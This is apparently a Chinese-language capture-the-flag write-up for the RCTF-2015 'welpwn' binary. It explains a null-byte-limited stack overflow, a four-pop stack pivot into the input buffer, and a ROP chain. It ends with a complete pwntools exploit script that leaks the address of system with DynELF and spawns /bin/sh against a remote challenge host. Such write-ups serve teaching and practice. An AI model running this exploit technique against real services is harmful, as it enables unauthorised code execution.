welpwn（RCTF-2015）--write up

文件下载地址：

链接：https://pan.baidu.com/s/1MG2z9r4wz_WTEz1vIikqJQ
提取码：3tbc 

0x01.分析

checksec：

源码分析：

流程非常简单，首先输入一个1024大小字符串，然后进入函数echo，这个函数会将buf的数据一个字节一个字节的复制到s2中，当遇到x00时停止，退出，并打印s2。

寻找漏洞：

第一个read处没有漏洞，但是把buf作为参数传到了echo中之后，因为buf时1024，但是s2只有16，很明显发生了栈溢出。

利用漏洞攻击：

由于程序之开启了NX，所以可以先往rop上思考。

按照常规的思路，应该是用24个字节填充，然后根据64位程序的特点，构造一条rop链，通过DynELF泄露system的地址，然后再次利用，向bss段写入/bin/sh，最终get shell。

想想总是好的，但是在这里，发现不可行了，为什么呢？因为echo这个函数会阶段x00，而一般的地址末尾都会有x00，这样我们就不能写入多个地址，进行rop链的使用，那怎么办呢？

我们看一下echo这个函数的栈大小：

只有0x20，也就是32个字节，s2用去了16，rbp用去8个，返回地址用于8个，刚好32个，由于参数放在寄存器里，所以echo的栈下面就是buf。

可以看一下栈布局（每格8个字节）：

s2的八个字节

s2的八个字节

rbp

返回地址

buf的八个字节

buf的八个字节

......

echo函数可以使用复制一次链接，因为复制到链接末尾就会终止，所以我们要利用好这次机会， 那么怎样才能执行我们的rop链呢？

我们可以将rsp转入buf里面进行执行，这样就没有限制了，就可以正常执行我们的rop链了。

我们可以使用四次pop，将前面的32个字节清空，这样echo函数在复制完四次pop的地址后就结束循环，开始返回，跳转到四次pop的地址，然后清空32个字节，继续执行，就到了rop链了，具体情况可以看下面的栈布局：

A*8

A*8

A*8

pop四次

A*8

A*8

A*8

pop四次

rop链

这样就可以顺利执行rop链，达到目的了。

因为可以重复使用，所以我们可以用DynELF泄露system的地址。

0x02.exp

##!/usr/bin/env python2.7
from pwn import*

io=remote("111.198.29.45",38463)
#io=process('./welpwn')
elf=ELF('./welpwn')
#context.log_level  = 'debug'  

read_got=elf.got['read']
write_got=elf.got['write']
start_addr=0x400630
pop4_addr=0x40089c
rop1=0x40089A
rop2=0x400880
bss_addr=0x601070
pop_rdi=0x4008a3

def leak(address):
    io.recv(1024)
    payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)
    payload+=p64(rop2)+'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    io.send(payload)
    data=io.recv(8)
    print "%#x => %s" % (address,(data or '').encode('hex'))
    return data

d=DynELF(leak,elf=elf)
system_addr=d.lookup("system","libc")
print hex(system_addr)
print io.recv(1024)
payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)
payload+=p64(rop2)+'A'*56+p64(pop_rdi)+p64(bss_addr)+p64(system_addr)+'A'*8
payload=payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')

io.interactive()

 

注：具体rop链的使用可以参考前面的博客。